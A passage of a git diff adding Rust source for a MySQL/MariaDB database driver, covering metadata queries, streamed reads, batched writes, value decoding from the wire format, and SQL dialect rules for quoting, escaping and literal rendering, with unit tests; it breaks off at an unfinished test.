fetch_columns(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let table = table.clone(); + self.read( + options, + read_op(move |connection, flavour| { + Box::pin(async move { metadata::fetch_columns(connection, flavour, &table).await }) + }), + ) + .await + } + + async fn fetch_indexes(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let table = table.clone(); + let dialect = *self.dialect; + self.read( + options, + read_op(move |connection, _| { + Box::pin(async move { metadata::fetch_indexes(connection, &dialect, &table).await }) + }), + ) + .await + } + + async fn fetch_foreign_keys( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result, DriverError> { + let table = table.clone(); + self.read( + options, + read_op(move |connection, flavour| { + Box::pin(async move { metadata::fetch_foreign_keys(connection, flavour, &table).await }) + }), + ) + .await + } + + async fn fetch_table_definition( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result { + let table = table.clone(); + let dialect = *self.dialect; + self.read( + options, + read_op(move |connection, _| { + Box::pin(async move { metadata::fetch_table_definition(connection, &dialect, &table).await }) + }), + ) + .await + } + + async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result { + let table = table.clone(); + let dialect = *self.dialect; + self.read( + options, + read_op(move |connection, _| { + Box::pin(async move { metadata::row_identity(connection, &dialect, &table).await }) + }), + ) + .await + } + + async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result { + let table = table.clone(); + self.read( + options, + read_op(move |connection, flavour| { + Box::pin(async move { metadata::table_estimate(connection, flavour, &table).await }) + }), + ) + .await + } + + async fn query_bound( + &self, + statement: &Statement, + limit: RowLimit, + options: CallOptions, + ) -> Result { + self.read(options, query_bound_op(statement.clone(), limit)).await + } + + async fn count_rows(&self, statement: &Statement, options: CallOptions) -> Result { + self.read(options, count_op(statement.clone())).await + } + + async fn stream_read( + &self, + read: &ReadStatement, + mut sink: Box, + options: CallOptions, + ) -> Result { + self.ensure_open()?; + let stop = Arc::new(MySqlStop::new(self.control.clone())); + let endpoint = self.endpoint.clone(); + let limits = self.stream_limits(); + let read = read.clone(); + let work_stop = stop.clone(); + let outcome = self + .calls + .run_read( + options, + Standalone::new(), + stop.clone(), + move |mut link, request| async move { + if let Err(error) = link.open(&endpoint, &limits, &request, &work_stop).await { + return (link, Err(error)); + } + let result = match link.connection() { + Ok((connection, flavour)) => stream(connection, flavour, &read, sink.as_mut()).await, + Err(error) => Err(error), + }; + (link, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + async fn write_batch(&self, batch: &WriteBatch, options: CallOptions) -> Result { + self.ensure_open()?; + precheck(batch, self.settings.read_only)?; + if batch.is_empty() { + return Ok(WriteReport::default()); + } + let atomicity = self.atomicity(batch, &options).await?; + let stop = Arc::new(MySqlStop::new(self.control.clone())); + let ledger = Arc::new(WriteLedger::new(atomicity)); + let pool = self.pool.clone(); + let timeouts = workspace_timeouts(self.liveness()); + let plan = WritePlan { + batch: batch.clone(), + atomicity, + ledger: ledger.clone(), + settings: self.settings, + }; + let work_stop = stop.clone(); + let outcome = self + .calls + .run_write( + options, + MysqlCall::new(), + stop.clone(), + ledger, + move |mut call, request| async move { + if let Err(error) = call.acquire(&pool, &timeouts, &request, &work_stop).await { + let error = match request.is_requested() { + true => plan.ledger.interrupted(error, SessionFate::RolledBack), + false => error, + }; + return (call, Err(error)); + } + let tainter = call.tainter(); + let result = match call.connection() { + Ok((connection, flavour)) => { + let mut context = WriteContext { + connection, + flavour, + tainter, + request: &request, + stop: &work_stop, + }; + perform(&mut context, &plan).await + } + Err(error) => Err(error), + }; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + /// No COMMIT outcome can be asked about after the fact: MySQL keeps + /// no record of a transaction once its session is gone. + async fn resolve_commit( + &self, + _token: &CommitToken, + _options: CallOptions, + ) -> Result { + Err(DriverError::Unsupported { + feature: "commit resolution", + }) + } + + async fn open_editor_session( + &self, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + self.ensure_open()?; + let limits = SessionLimits::workspace(&self.settings); + let session = MysqlEditorSession::open(self.endpoint.clone(), limits, options, cancel).await?; + Ok(session) + } + + async fn close(&self) -> Result<(), DriverError> { + if self.closed.swap(true, Ordering::SeqCst) { + return Ok(()); + } + self.calls.shutdown().await; + self.pool.close(); + self.control.close().await; + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn only_route_failures_are_suspected() { + assert!(suspects_link(&DriverError::ConnectionLost { + during: LossPhase::Statement + })); + assert!(suspects_link(&DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false + })); + assert!(!suspects_link(&DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + })); + assert!(!suspects_link(&DriverError::Cancelled)); + assert!(!suspects_link(&DriverError::server("syntax error"))); + } +} diff --git a/linux/crates/drivers/mysql/src/decode.rs b/linux/crates/drivers/mysql/src/decode.rs new file mode 100644 index 0000000000..d085d785ac --- /dev/null +++ b/linux/crates/drivers/mysql/src/decode.rs @@ -0,0 +1,236 @@ +//! Every MySQL value in the form the server sent it. +//! +//! A non-NULL cell never becomes NULL and no path panics. One function +//! serves workspace and editor results, so a value reads the same in the +//! grid and in the editor. + +use sqlx::error::BoxDynError; +use sqlx::mysql::types::{MySqlTime, MySqlTimeSign}; +use sqlx::mysql::{MySql, MySqlRow, MySqlTypeInfo, MySqlValueRef}; +use sqlx::{Decode, Row as _, Type, TypeInfo as _, ValueRef as _}; +use tablepro_core::Value; +use tablepro_core::value::{BitString, JsonText, OtherValue, SqlDecimal, SqlTime, UndecodableReason, UndecodedValue}; + +use crate::mysql_temporal::{self, TemporalType}; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; + +pub(crate) fn decode_row(row: &MySqlRow, format: MySqlWireFormat, timestamps: MySqlTimestampMode) -> Vec { + (0..row.len()) + .map(|index| match row.try_get_raw(index) { + Ok(value) => decode_cell(value, format, timestamps), + Err(_) => undecodable("unknown", UndecodableReason::UnsupportedType), + }) + .collect() +} + +pub(crate) fn decode_cell(value: MySqlValueRef<'_>, format: MySqlWireFormat, timestamps: MySqlTimestampMode) -> Value { + let type_info = value.type_info().into_owned(); + let name = type_info.name(); + if let Some(kind) = temporal_type(name) { + // sqlx calls a zero date NULL; only a missing value is one. + return match <&[u8] as Decode>::decode(value) { + Ok(bytes) => mysql_temporal::decode(bytes, format, kind, timestamps), + Err(_) => Value::Null, + }; + } + if value.is_null() { + return Value::Null; + } + match name { + "BOOLEAN" | "TINYINT" | "SMALLINT" | "MEDIUMINT" | "INT" | "BIGINT" | "YEAR" => integer(value, &type_info), + _ if is_integer_name(name) => integer(value, &type_info), + "FLOAT" => read::(value, name).map_or_else(|error| error, Value::Float32), + "DOUBLE" => read::(value, name).map_or_else(|error| error, Value::Float64), + // DECIMAL travels as text in both protocols, so it is read as the + // digits the server sent: a fixed-width type would round a + // DECIMAL(65,30) the server holds exactly. + "DECIMAL" => match read::<&str>(value, name) { + Ok(text) => text.parse::().map_or_else( + |_| undecodable(name, UndecodableReason::InvalidEncoding), + Value::Decimal, + ), + Err(error) => error, + }, + "TIME" => match read::(value, name) { + Ok(time) => mysql_time(time).unwrap_or_else(|| undecodable(name, UndecodableReason::OutOfRange)), + Err(error) => error, + }, + // As the server rendered it: parsing and printing again would + // reorder keys and drop spacing. + "JSON" => match read::<&[u8]>(value, name) { + Ok(bytes) => match std::str::from_utf8(bytes).map(|text| JsonText::parse(text.to_owned())) { + Ok(Ok(json)) => Value::Json(json), + _ => undecodable(name, UndecodableReason::InvalidEncoding), + }, + Err(error) => error, + }, + // BIT(M) arrives as the ceil(M/8) bytes that hold it, with no + // count of its own, so the byte width is what the value keeps. + "BIT" => match read::<&[u8]>(value, name) { + Ok(bytes) => match u32::try_from(bytes.len().saturating_mul(8)) + .ok() + .and_then(|bits| BitString::from_bytes(bits, bytes.to_vec()).ok()) + { + Some(bits) => Value::Bits(bits), + None => undecodable(name, UndecodableReason::OutOfRange), + }, + Err(error) => error, + }, + "GEOMETRY" => read::<&[u8]>(value, name).map_or_else(|error| error, |bytes| Value::Bytes(bytes.to_vec())), + "NULL" => Value::Null, + _ => string(value, &type_info, name), + } +} + +fn temporal_type(name: &str) -> Option { + match name { + "DATE" => Some(TemporalType::Date), + "DATETIME" => Some(TemporalType::DateTime), + "TIMESTAMP" => Some(TemporalType::Timestamp), + _ => None, + } +} + +fn is_integer_name(name: &str) -> bool { + name.strip_suffix(" UNSIGNED") + .is_some_and(|base| matches!(base, "TINYINT" | "SMALLINT" | "MEDIUMINT" | "INT" | "BIGINT")) +} + +/// Signedness comes from the column's UNSIGNED flag, never the name: +/// an unsigned value read through a signed decoder is sign-extended, +/// so 255 in a TINYINT UNSIGNED would come back as -1. Only BIGINT +/// UNSIGNED runs past `i64`, so only it stays unsigned. +fn integer(value: MySqlValueRef<'_>, type_info: &MySqlTypeInfo) -> Value { + let name = type_info.name(); + if !>::compatible(type_info) { + return read::(value, name).map_or_else(|error| error, Value::Int); + } + read::(value, name).map_or_else(|error| error, |unsigned| unsigned_value(name, unsigned)) +} + +pub(crate) fn unsigned_value(name: &str, unsigned: u64) -> Value { + match name.starts_with("BIGINT") { + true => Value::UInt(unsigned), + false => i64::try_from(unsigned).map_or_else(|_| undecodable(name, UndecodableReason::OutOfRange), Value::Int), + } +} + +/// Text or bytes, by the column's character set: only the `binary` +/// charset holds bytes. The sqlx type name is no guide, because MySQL +/// marks a `_bin` collation column BINARY and sqlx then names a +/// VARCHAR COLLATE utf8mb4_bin a VARBINARY. +fn string(value: MySqlValueRef<'_>, type_info: &MySqlTypeInfo, name: &str) -> Value { + if >::compatible(type_info) { + return match read::<&str>(value, name) { + Ok(text) => Value::Text(text.to_owned()), + Err(error) => error, + }; + } + match read::<&[u8]>(value, name) { + Ok(bytes) if is_string_family(name) => Value::Bytes(bytes.to_vec()), + // A type the driver does not know keeps the server's text, or + // its bytes when there is no text. + Ok(bytes) => match std::str::from_utf8(bytes) { + Ok(text) => Value::Other(Box::new(OtherValue { + type_name: name.to_owned(), + text: text.to_owned(), + })), + Err(_) => Value::Bytes(bytes.to_vec()), + }, + Err(error) => error, + } +} + +fn is_string_family(name: &str) -> bool { + matches!( + name, + "CHAR" + | "VARCHAR" + | "TEXT" + | "TINYTEXT" + | "MEDIUMTEXT" + | "LONGTEXT" + | "BINARY" + | "VARBINARY" + | "BLOB" + | "TINYBLOB" + | "MEDIUMBLOB" + | "LONGBLOB" + | "ENUM" + | "SET" + ) +} + +/// Decode without the type check, which the caller already made by +/// name; a failure is the value the cell shows instead. +fn read<'r, T: Decode<'r, MySql>>(value: MySqlValueRef<'r>, name: &str) -> Result { + T::decode(value).map_err(|error: BoxDynError| { + tracing::debug!(%error, type_name = name, "a MySQL value could not be decoded"); + undecodable(name, UndecodableReason::InvalidEncoding) + }) +} + +/// A MySQL TIME spans -838:59:59 to 838:59:59, which is a span rather +/// than a time of day, so it keeps a type that holds the whole range. +pub(crate) fn mysql_time(time: MySqlTime) -> Option { + let nanos = time.microseconds().checked_mul(1_000)?; + // The sign comes from `sign()`: `MySqlTime::is_negative` in sqlx + // 0.9 returns `sign.is_positive()`, so it answers backwards. + let negative = matches!(time.sign(), MySqlTimeSign::Negative); + SqlTime::new(negative, time.hours(), time.minutes(), time.seconds(), nanos) + .ok() + .map(Value::Time) +} + +fn undecodable(type_name: &str, reason: UndecodableReason) -> Value { + Value::Undecodable(Box::new(UndecodedValue { + type_name: type_name.to_owned(), + reason, + })) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn wire_time(sign: MySqlTimeSign, hours: u32, minutes: u8, seconds: u8, micros: u32) -> MySqlTime { + MySqlTime::new(sign, hours, minutes, seconds, micros).expect("a time the wire holds") + } + + #[test] + fn a_time_past_a_day_is_kept_whole() { + let Some(Value::Time(time)) = mysql_time(wire_time(MySqlTimeSign::Negative, 838, 59, 59, 0)) else { + panic!("the shortest MySQL time did not convert"); + }; + + assert_eq!(time.format(None), "-838:59:59"); + } + + #[test] + fn a_fractional_second_survives() { + let Some(Value::Time(time)) = mysql_time(wire_time(MySqlTimeSign::Positive, 1, 2, 3, 123_456)) else { + panic!("a fractional time did not convert"); + }; + + assert_eq!(time.format(Some(6)), "01:02:03.123456"); + } + + #[test] + fn narrow_unsigned_converts_to_int_checked() { + assert!(is_integer_name("TINYINT UNSIGNED")); + assert!(is_integer_name("INT UNSIGNED")); + assert!(!is_integer_name("DOUBLE UNSIGNED")); + assert_eq!(unsigned_value("TINYINT UNSIGNED", 255), Value::Int(255)); + assert_eq!( + unsigned_value("INT UNSIGNED", u64::from(u32::MAX)), + Value::Int(4_294_967_295) + ); + assert_eq!(unsigned_value("YEAR", 2155), Value::Int(2155)); + assert_eq!(unsigned_value("BIGINT UNSIGNED", u64::MAX), Value::UInt(u64::MAX)); + assert!( + matches!(unsigned_value("INT UNSIGNED", u64::MAX), Value::Undecodable(undecodable) if undecodable.reason == UndecodableReason::OutOfRange), + "a value past i64 in a narrow column is out of range, never wrapped" + ); + } +} diff --git a/linux/crates/drivers/mysql/src/dialect.rs b/linux/crates/drivers/mysql/src/dialect.rs new file mode 100644 index 0000000000..5c87a18a04 --- /dev/null +++ b/linux/crates/drivers/mysql/src/dialect.rs @@ -0,0 +1,671 @@ +use tablepro_core::ServerInfo; +use tablepro_core::column::{ + BoolStorage, ColumnInfo, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, SqlExpression, + TemporalZone, TextLength, +}; +use tablepro_core::ddl::{DdlCapabilities, DdlDialect}; +use tablepro_core::dialect::{ + BindError, BindTarget, DialectCapabilities, KeysetDirection, LikeCase, LikeForm, LiteralError, Placeholder, + SqlDialect, +}; +use tablepro_core::export::value_to_text; +use tablepro_core::meta::{EngineRowId, EngineRowIdPart}; +use tablepro_core::sql_syntax::{ + ExpressionSyntaxError, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeSyntaxError, parse_expression, parse_type, +}; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::{Temporal, Value}; + +use crate::catalog::{TypeFacts, column_type}; +use crate::flavour::MySqlFlavour; + +/// How MySQL and MariaDB spell the SQL the app generates. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct MySqlDialect { + major: u32, + minor: u32, + patch: u32, + flavour: MySqlFlavour, +} + +impl MySqlDialect { + pub fn new(flavour: MySqlFlavour, server: &ServerInfo) -> Self { + Self { + major: server.major, + minor: server.minor, + patch: server.patch, + flavour, + } + } + + pub fn flavour(&self) -> MySqlFlavour { + self.flavour + } + + pub fn version(&self) -> (u32, u32, u32) { + (self.major, self.minor, self.patch) + } + + /// Whether this is MySQL at `version` or later. MariaDB numbers its + /// releases on its own line, so no MySQL version gate applies to it. + pub fn mysql_at_least(&self, version: (u32, u32, u32)) -> bool { + self.flavour == MySqlFlavour::MySql && self.version() >= version + } + + /// Indexes on expressions, and the STATISTICS column naming them, + /// arrived in MySQL 8.0.13. + pub fn has_functional_key_parts(&self) -> bool { + self.mysql_at_least((8, 0, 13)) + } +} + +const fn ddl_capabilities(expression_index_keys: bool) -> DdlCapabilities { + DdlCapabilities { + create_table: true, + rename_table: true, + add_column: true, + drop_column: true, + rename_column: true, + alter_column_type: true, + alter_column_nullability: true, + nullability_switch: true, + alter_column_default: true, + alter_primary_key: true, + alter_auto_increment: true, + create_index: true, + drop_index: true, + expression_index_keys, + partial_indexes: false, + add_foreign_key: true, + drop_foreign_key: true, + // MySQL parses CASCADE on DROP TABLE and does nothing with it. + drop_table_cascade: false, + } +} + +static FUNCTIONAL_KEY_DDL: MySqlDdl = MySqlDdl { + capabilities: ddl_capabilities(true), +}; +static COLUMN_KEY_DDL: MySqlDdl = MySqlDdl { + capabilities: ddl_capabilities(false), +}; + +#[derive(Debug)] +struct MySqlDdl { + capabilities: DdlCapabilities, +} + +impl DdlDialect for MySqlDdl { + fn capabilities(&self) -> &DdlCapabilities { + &self.capabilities + } +} + +impl SqlDialect for MySqlDialect { + fn capabilities(&self) -> DialectCapabilities { + // CLIENT_FOUND_ROWS is on, so an UPDATE reports the rows it + // matched, including ones it left unchanged. + DialectCapabilities { exact_row_counts: true } + } + + fn grammar(&self) -> SqlGrammar { + SqlGrammar::MySql + } + + fn quote_identifier(&self, name: &str) -> String { + format!("`{}`", name.replace('`', "``")) + } + + fn placeholder(&self, _ordinal: usize, value: Value, target: BindTarget<'_>) -> Result { + let param_type = match target { + BindTarget::Pattern => ParamType::Text, + BindTarget::EngineRowId(_) => { + return Err(BindError::Unrepresentable { + expected: "a MySQL column", + found: "an engine row address", + }); + } + BindTarget::Column(column) => column_param_type(column), + }; + let (value, param_type) = adapt(value, param_type)?; + Ok(Placeholder::bound("?", BoundParam::new(value, param_type)?)) + } + + fn literal(&self, value: &Value, _column: &ColumnType) -> Result { + literal(value) + } + + fn escape_like_text(&self, text: &str) -> String { + let mut escaped = String::with_capacity(text.len()); + for character in text.chars() { + if matches!(character, '!' | '%' | '_') { + escaped.push('!'); + } + escaped.push(character); + } + escaped + } + + /// LOWER() on both sides is what makes a match case-insensitive + /// whatever the column's collation, `_bin` included. + fn like_predicate(&self, column_sql: &str, pattern_sql: &str, form: LikeForm) -> String { + let (left, right) = match form.case { + LikeCase::Insensitive => (format!("LOWER({column_sql})"), format!("LOWER({pattern_sql})")), + LikeCase::EngineDefault => (column_sql.to_owned(), pattern_sql.to_owned()), + }; + let operator = match form.negated { + true => "NOT LIKE", + false => "LIKE", + }; + match form.escaped { + true => format!("{left} {operator} {right} ESCAPE '!'"), + false => format!("{left} {operator} {right}"), + } + } + + fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { + match order_by.map(str::trim).filter(|order| !order.is_empty()) { + Some(order) => format!(" ORDER BY {order} LIMIT {limit} OFFSET {offset}"), + None => format!(" LIMIT {limit} OFFSET {offset}"), + } + } + + fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String { + format!( + "({}) {} ({})", + key_sql.join(", "), + direction.comparison(), + markers.join(", ") + ) + } + + fn engine_row_id(&self, _id: EngineRowId) -> Option { + None + } + + fn engine_row_id_column(&self, _part: EngineRowIdPart) -> Option { + None + } + + fn parse_type(&self, text: &str) -> Result { + let parsed = parse_type(SqlGrammar::MySql, text, MAX_TYPE_LEN)?; + let declared = parsed.text.as_str(); + let data_type = data_type_of(declared); + let args = arguments(declared); + let first = args.first().copied(); + let lower = data_type.to_ascii_lowercase(); + let facts = TypeFacts { + data_type: &data_type, + column_type: declared, + numeric_precision: match lower.as_str() { + "decimal" | "numeric" | "fixed" | "bit" => first, + _ => None, + }, + numeric_scale: match lower.as_str() { + "decimal" | "numeric" | "fixed" => Some(args.get(1).copied().unwrap_or(0)), + _ => None, + }, + datetime_precision: match lower.as_str() { + "time" | "datetime" | "timestamp" => Some(first.unwrap_or(0)), + _ => None, + }, + character_maximum_length: match lower.as_str() { + "char" | "varchar" | "binary" | "varbinary" => first, + _ => None, + }, + has_character_set: true, + }; + Ok(column_type(&facts)) + } + + fn parse_expression(&self, text: &str) -> Result { + let parsed = parse_expression(SqlGrammar::MySql, text, MAX_EXPRESSION_LEN)?; + Ok(SqlExpression::from_catalog_text(parsed.text)) + } + + fn ddl(&self) -> Option<&dyn DdlDialect> { + Some(match self.has_functional_key_parts() { + true => &FUNCTIONAL_KEY_DDL, + false => &COLUMN_KEY_DDL, + }) + } + + fn insert_default_row(&self, table_sql: &str) -> Option { + Some(format!("INSERT INTO {table_sql} () VALUES ()")) + } +} + +/// The type's leading name, as DATA_TYPE would spell it. +fn data_type_of(declared: &str) -> String { + let lower = declared.trim().to_ascii_lowercase(); + if lower.starts_with("double precision") { + return "double precision".to_owned(); + } + lower + .chars() + .take_while(|character| character.is_ascii_alphanumeric() || *character == '_') + .collect() +} + +/// The numbers inside the type's parentheses, where they are numbers. +fn arguments(declared: &str) -> Vec { + let Some((_, inner)) = declared.split_once('(') else { + return Vec::new(); + }; + let inner = inner.split(')').next().unwrap_or_default(); + inner + .split(',') + .map_while(|part| part.trim().parse::().ok()) + .collect() +} + +/// The parameter type a column takes. Only BIGINT UNSIGNED runs past +/// `i64`, so only it binds unsigned. +fn column_param_type(column: &ColumnInfo) -> ParamType { + let column_type = &column.column_type; + match &column_type.kind { + ColumnKind::Bool(BoolStorage::Native) => ParamType::Bool, + ColumnKind::Bool(BoolStorage::Integer) => ParamType::Int64, + ColumnKind::Integer(kind) => integer_param_type(*kind), + ColumnKind::Decimal { .. } | ColumnKind::Money { .. } => ParamType::Decimal, + ColumnKind::Float(FloatWidth::F32) => ParamType::Float32, + ColumnKind::Float(FloatWidth::F64) => ParamType::Float64, + ColumnKind::Text { + length: TextLength::Fixed(_), + } => ParamType::FixedText, + ColumnKind::Text { .. } | ColumnKind::Enum { .. } => ParamType::Text, + ColumnKind::Bytes { .. } | ColumnKind::Spatial => ParamType::Bytes, + ColumnKind::Uuid => ParamType::Uuid, + ColumnKind::Json { binary: false } => ParamType::Json, + ColumnKind::Json { binary: true } => ParamType::JsonBinary, + ColumnKind::Date => ParamType::Date, + ColumnKind::Time { with_offset: false, .. } => ParamType::Time, + ColumnKind::Time { with_offset: true, .. } => ParamType::TimeTz, + // A workspace session's zone is UTC, so the instant binds as + // its UTC wall time. + ColumnKind::Timestamp { + zone: TemporalZone::Offset, + .. + } => ParamType::TimestampTz, + ColumnKind::Timestamp { .. } => ParamType::Timestamp, + ColumnKind::Interval => ParamType::Interval, + ColumnKind::BitString { .. } => ParamType::UInt64, + ColumnKind::Network(_) + | ColumnKind::Xml + | ColumnKind::Variant + | ColumnKind::Composite + | ColumnKind::Array { .. } + | ColumnKind::Other => match &column_type.catalog { + Some(catalog) => ParamType::ServerText(catalog.cast_target.clone()), + None => ParamType::Text, + }, + } +} + +fn integer_param_type(kind: IntegerKind) -> ParamType { + match (kind.width, kind.signed) { + (IntegerWidth::W64 | IntegerWidth::W128 | IntegerWidth::W256, false) => ParamType::UInt64, + (IntegerWidth::W8 | IntegerWidth::W16, true) | (IntegerWidth::W8, false) => ParamType::Int16, + (IntegerWidth::W24 | IntegerWidth::W32, true) | (IntegerWidth::W16 | IntegerWidth::W24, false) => { + ParamType::Int32 + } + _ => ParamType::Int64, + } +} + +/// Values the grid holds in a form the column's own parameter does not +/// take: a BIT read back as bits binds as the number they spell, a value +/// kept as the server's text (a zero date) goes back as that text, and a +/// non-negative integer fits an unsigned column. +fn adapt(value: Value, param_type: ParamType) -> Result<(Value, ParamType), BindError> { + Ok(match (value, param_type) { + (Value::Bits(bits), ParamType::UInt64) => match bits.to_u64() { + Some(number) => (Value::UInt(number), ParamType::UInt64), + None => { + return Err(BindError::Unrepresentable { + expected: "BIT(64) or narrower", + found: "a longer bit string", + }); + } + }, + (Value::Int(number), ParamType::UInt64) if number >= 0 => { + (Value::UInt(number.unsigned_abs()), ParamType::UInt64) + } + (Value::Other(other), _) => (Value::Text(other.text), ParamType::Text), + (value, param_type) => (value, param_type), + }) +} + +fn literal(value: &Value) -> Result { + Ok(match value { + Value::Null => "NULL".to_owned(), + Value::Bool(flag) => match flag { + true => "TRUE".to_owned(), + false => "FALSE".to_owned(), + }, + Value::Int(integer) => integer.to_string(), + Value::UInt(integer) => integer.to_string(), + Value::WideInt(integer) => integer.to_string(), + Value::Float32(float) if float.is_finite() => float.to_string(), + Value::Float64(float) if float.is_finite() => float.to_string(), + Value::Decimal(decimal) if decimal.is_finite() => decimal.to_string(), + Value::Bytes(bytes) => format!("X'{}'", tablepro_core::hex::encode_lower(bytes)), + Value::Bits(bits) => format!("b'{bits}'"), + Value::Date(Temporal::Finite(date)) => format!("'{}'", date.format("%Y-%m-%d")), + Value::Timestamp(Temporal::Finite(stamp)) => format!("'{}'", stamp.format("%Y-%m-%d %H:%M:%S%.6f")), + Value::Time(time) => format!("'{}'", time.format(Some(6))), + // An offset literal is mis-converted into TIMESTAMP for fractions + // of .5 or more (MySQL bug #118011), and named zones need the + // time zone tables loaded. FROM_UNIXTIME gives the instant in + // whatever zone the session that runs the SQL is in. + Value::TimestampTz(Temporal::Finite(stamp)) => { + let instant = stamp.utc().and_utc(); + let seconds = instant.timestamp(); + if seconds < 0 { + return Err(LiteralError::Unrepresentable { + found: "a TIMESTAMP before 1970", + }); + } + format!("FROM_UNIXTIME({seconds}.{:06})", instant.timestamp_subsec_micros()) + } + Value::Undecodable(undecodable) => { + return Err(LiteralError::Undecodable { + reason: format!("{:?}", undecodable.reason), + }); + } + Value::Float32(_) + | Value::Float64(_) + | Value::Decimal(_) + | Value::Date(_) + | Value::Timestamp(_) + | Value::TimestampTz(_) + | Value::Array(_) => { + return Err(LiteralError::Unrepresentable { + found: value.variant_name(), + }); + } + other => match value_to_text(other) { + Some(text) => string_literal(&text), + None => { + return Err(LiteralError::Unrepresentable { + found: other.variant_name(), + }); + } + }, + }) +} + +/// A string literal that reads the same under any sql_mode. A backslash +/// is an escape unless NO_BACKSLASH_ESCAPES is set, and a control +/// character may not survive a copy, so text holding either goes as the +/// hex of its UTF-8 bytes. +fn string_literal(text: &str) -> String { + if text + .chars() + .any(|character| character == '\\' || character.is_control()) + { + return format!("_utf8mb4 X'{}'", tablepro_core::hex::encode_lower(text.as_bytes())); + } + format!("'{}'", text.replace('\'', "''")) +} + +#[cfg(test)] +mod tests { + use chrono::{DateTime, NaiveDate}; + use tablepro_core::column::{CatalogType, ColumnDefault, ReadForm, SqlTypeExpr}; + use tablepro_core::value::{BitString, OffsetTimestamp}; + + use super::*; + + fn dialect(flavour: MySqlFlavour) -> MySqlDialect { + MySqlDialect::new(flavour, &ServerInfo::new(flavour.product(), "8.4.3", 8, 4, 3)) + } + + #[test] + fn renames_quote_with_backticks() { + let dialect = dialect(MySqlFlavour::MySql); + + assert_eq!( + tablepro_core::sql_ddl::build_rename_table("mysql", &dialect, None, "old", "new`t").unwrap(), + "ALTER TABLE `old` RENAME TO `new``t`" + ); + assert_eq!( + tablepro_core::sql_ddl::build_rename_column("mysql", &dialect, None, "t", "old", "new").unwrap(), + "ALTER TABLE `t` RENAME COLUMN `old` TO `new`" + ); + } + + #[test] + fn an_sql_export_quotes_with_backticks() { + let columns = [tablepro_core::column::ResultColumn::new( + "a`b", + tablepro_core::column::ColumnType::untyped_text("int"), + )]; + + let sql = tablepro_core::export::render_sql_insert( + &dialect(MySqlFlavour::MySql), + "t", + &columns, + &[vec![Value::Int(1)]], + ); + + assert_eq!(sql, "INSERT INTO `t` (`a``b`) VALUES (1);\n"); + } + + #[test] + fn functional_key_parts_are_gated_on_mysql_8_0_13() { + let mysql = |patch| { + MySqlDialect::new( + MySqlFlavour::MySql, + &ServerInfo::new("MySQL", format!("8.0.{patch}"), 8, 0, patch), + ) + }; + let expression_keys = |dialect: MySqlDialect| { + dialect + .ddl() + .is_some_and(|ddl| ddl.capabilities().expression_index_keys) + }; + + assert!(!expression_keys(mysql(12))); + assert!(expression_keys(mysql(13))); + assert!(!mysql(20).mysql_at_least((8, 0, 21))); + assert!(mysql(21).mysql_at_least((8, 0, 21))); + assert!( + !MySqlDialect::new( + MySqlFlavour::MariaDb, + &ServerInfo::new("MariaDB", "11.4.5-MariaDB", 11, 4, 5) + ) + .mysql_at_least((8, 0, 13)), + "MariaDB's version is not on MySQL's line" + ); + } + + fn column(kind: ColumnKind) -> ColumnInfo { + ColumnInfo { + name: "c".to_owned(), + column_type: ColumnType { + name: "c".to_owned(), + kind, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text("c"), + cast_target: SqlTypeExpr::from_catalog_text("c"), + }), + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn bind(value: Value, kind: ColumnKind) -> Result { + dialect(MySqlFlavour::MySql).placeholder(3, value, BindTarget::Column(&column(kind))) + } + + #[test] + fn a_backslash_or_control_character_goes_as_hex() { + assert_eq!( + literal(&Value::Text("abc\\".to_owned())), + Ok("_utf8mb4 X'6162635c'".to_owned()) + ); + assert_eq!( + literal(&Value::Text("a\nb".to_owned())), + Ok("_utf8mb4 X'610a62'".to_owned()) + ); + assert_eq!(literal(&Value::Text("it's".to_owned())), Ok("'it''s'".to_owned())); + assert_eq!(literal(&Value::Bytes(vec![0xab, 0x01])), Ok("X'ab01'".to_owned())); + assert_eq!( + literal(&Value::Bits(BitString::from_u64(5, 4))), + Ok("b'0101'".to_owned()) + ); + assert!(literal(&Value::Float64(f64::NAN)).is_err()); + } + + #[test] + fn a_timestamp_with_offset_is_an_epoch_instant() { + let instant = DateTime::parse_from_rfc3339("2025-04-01T00:00:00.5+00:00").expect("an instant"); + let value = Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(instant))); + + assert_eq!(literal(&value), Ok("FROM_UNIXTIME(1743465600.500000)".to_owned())); + + let before_epoch = DateTime::parse_from_rfc3339("1969-12-31T23:59:59+00:00").expect("an instant"); + let value = Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(before_epoch))); + assert!(literal(&value).is_err()); + } + + #[test] + fn temporal_literals() { + let date = NaiveDate::from_ymd_opt(2025, 4, 1).expect("a date"); + assert_eq!( + literal(&Value::Date(Temporal::Finite(date))), + Ok("'2025-04-01'".to_owned()) + ); + let stamp = date.and_hms_micro_opt(1, 2, 3, 4).expect("a time"); + assert_eq!( + literal(&Value::Timestamp(Temporal::Finite(stamp))), + Ok("'2025-04-01 01:02:03.000004'".to_owned()) + ); + let time = "-838:59:59".parse().expect("a time"); + assert_eq!(literal(&Value::Time(time)), Ok("'-838:59:59.000000'".to_owned())); + } + + #[test] + fn 